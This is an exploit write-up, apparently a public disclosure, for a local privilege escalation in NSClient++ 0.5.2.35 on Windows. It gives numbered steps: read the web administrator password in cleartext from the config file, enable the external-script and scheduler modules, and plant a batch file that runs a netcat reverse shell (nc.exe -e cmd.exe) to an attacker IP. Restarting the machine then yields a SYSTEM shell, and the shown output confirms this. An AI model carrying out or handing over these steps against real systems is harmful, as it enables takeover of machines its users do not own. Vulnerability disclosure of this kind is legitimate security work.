NSClient++ 0.5.2.35 Privilege Escalation

`Exploit Author: bzyo  
Twitter: @bzyo_  
Exploit Title: NSClient++ 0.5.2.35 - Privilege Escalation  
Date: 05-05-19  
Vulnerable Software: NSClient++ 0.5.2.35  
Vendor Homepage: http://nsclient.org/  
Version: 0.5.2.35  
Software Link: http://nsclient.org/download/  
Tested on: Windows 10 x64  
  
Details:  
When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file. From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.   
  
The user is able to enable the modules to check external scripts and schedule those scripts to run. There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere. Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation. A reboot, as far as I can tell, is required to reload and read the changes to the web config.   
  
Prerequisites:  
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.  
  
Exploit:  
1. Grab web administrator password  
- open c:\program files\nsclient++\nsclient.ini  
or  
- run the following that is instructed when you select forget password  
C:\Program Files\NSClient++>nscp web -- password --display  
Current password: SoSecret  
  
2. Login and enable following modules including enable at startup and save configuration  
- CheckExternalScripts  
- Scheduler  
  
3. Download nc.exe and evil.bat to c:\temp from attacking machine  
@echo off  
c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe  
  
4. Setup listener on attacking machine  
nc -nlvvp 443  
  
5. Add script foobar to call evil.bat and save settings  
- Settings > External Scripts > Scripts  
- Add New  
- foobar  
command = c:\temp\evil.bat  
  
6. Add schedulede to call script every 1 minute and save settings  
- Settings > Scheduler > Schedules  
- Add new  
- foobar  
interval = 1m  
command = foobar  
  
7. Restart the computer and wait for the reverse shell on attacking machine  
nc -nlvvp 443  
listening on [any] 443 ...  
connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671  
Microsoft Windows [Version 10.0.17134.753]  
(c) 2018 Microsoft Corporation. All rights reserved.  
  
C:\Program Files\NSClient++>whoami  
whoami  
nt authority\system  
  
Risk:  
The vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System  
`